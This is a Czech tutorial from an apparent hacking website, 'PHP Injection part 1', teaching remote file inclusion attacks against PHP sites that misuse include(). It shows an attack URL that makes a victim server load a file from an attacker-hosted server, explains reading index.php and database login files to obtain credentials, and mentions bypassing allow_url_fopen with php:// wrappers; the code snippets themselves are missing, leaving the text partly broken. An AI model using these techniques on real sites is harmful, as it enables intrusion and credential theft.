Main Menu
TOP 3 Articles
Public Inquiry
Ve výstavbe
Counter
Info
?2005-2007 by Addam and MDT
Mail info@hacking-
vision.wz.cz
PHP Injection 1. část

Author: MDT | Added:17.4.2007 23:10 | Last update: 10.5.2007 00:14 | Readed: 2288x

Chyba se týka PHP funkce include() nebo jeho obdob require(), require_once() a include_once(). Proto se také někdy nazývá PHP Include. Příkaz include dělá to, ?e do kódu jedné stránky, ve které se nachází, vlo?í kód druhé stránky. A to je právě to, co mů?eme při PHP Injection vyu?ít.

Web, který je teoreticky napadnutelný touto chybou poznáme podle toho, ?e URL stránky je nějak takto:

http://www.server_obeti.xx/index.php?page=home.php

Místo page a home.php mů?e být třeba cokoliv jiného, například site=new.php apod. Nejdřív zadáme místo home.php nějaký nesmyslný řetězec (například bububu.php) a dostaneme error. V?ímáme si hlavně části main(xxxxxxx) ve které mů?e být:

1) Warning: main(bububu.php).. To se pak v kódu stránky nachází něco takového:

Pak jen stačí si zalo?it nějaký freehosting, nahrát na něj nějaký soubor například hack.txt a do něj vlo?it kód:

A pak jenom zadáme něco takového:

http://www.server_obeti.xx/index.php?page=http://server_utocnika.xx/hack.txt

Soubor nesmíte pojmenovat s koncovkou php, proto?e jinak by pro?el parserem lokálního (va?eho) webhostingu a kód by se vykonal u? na va?í webovce. Nemusíte také pou?ít vůbec ?ádnou koncovku. Pokud v?echno výjde, měli byste vidět kód souboru index.php. Z něj například mů?ete vyčíst, jak se nazývá soubor s příkazy pro připojení k mysql, který si pak mů?ete nechat zobrazit a vyčíst přihla?ovací údaje. Pokud je ov?em vypnutá funkce allow_url_fopen(), která umo?ňuje includovat soubory z jiných serverů, hodí vám to chybu. Mo?ností jak se vyhnout vypnutému allow_url_fopen() je pou?ít nějaký wrapper, například php://, na který se allow_url_fopen() nevztahuje. Kód mu?e vypadat například takto:

Ale vzhledem k tomu, ?e na vět?ině dne?ních serveru je funkce fsockopen zakázaná, máme taky smůlu. Ov?em i přes tyto problémy máme stále ?anci pou?ít PHP Injection metodami popsanými metodami popsanými v druhé části článku. Dnes se je?tě mrkneme, co se stane kdy? dostaneme hlá?ku:

2) Warning: main(bububu.php.php)... URL stránky pak vypadá nějak takto:

http://www.server_obeti.xx/index.php?page=home

A v kódu je pak něco takového:

To pak nemů?eme pou?ít soubor hack.txt proto?e by se k němu připojilo .php a měli bysme hack.txt.php co? neexistuje. Proto se soubor musí mít koncovku .php a problém je to, ?e se pro?ene parserem a kód se provede na lokálním serveru. Problém ale lze vyře?it naprosto jednodu?e takto:

Tato metoda má stejné mouchy jako ta předchozí ? jestli?e je zakázaná funkce allow_url_fopen() a fsockopen(), máme opět smůlu. V podstatě mů?eme říct, ?e tyto metody jsou nám v dne?ní době téměř k ničemu, jsou velmi známe a vět?inou o?etřené. Ov?em na?těstí (nebo bohu?el?) existují i dal?í metody, ale o tom zase někdy pří?tě.



-------------------------------------------------------------------------------------------------------------------------
autohits.horys.com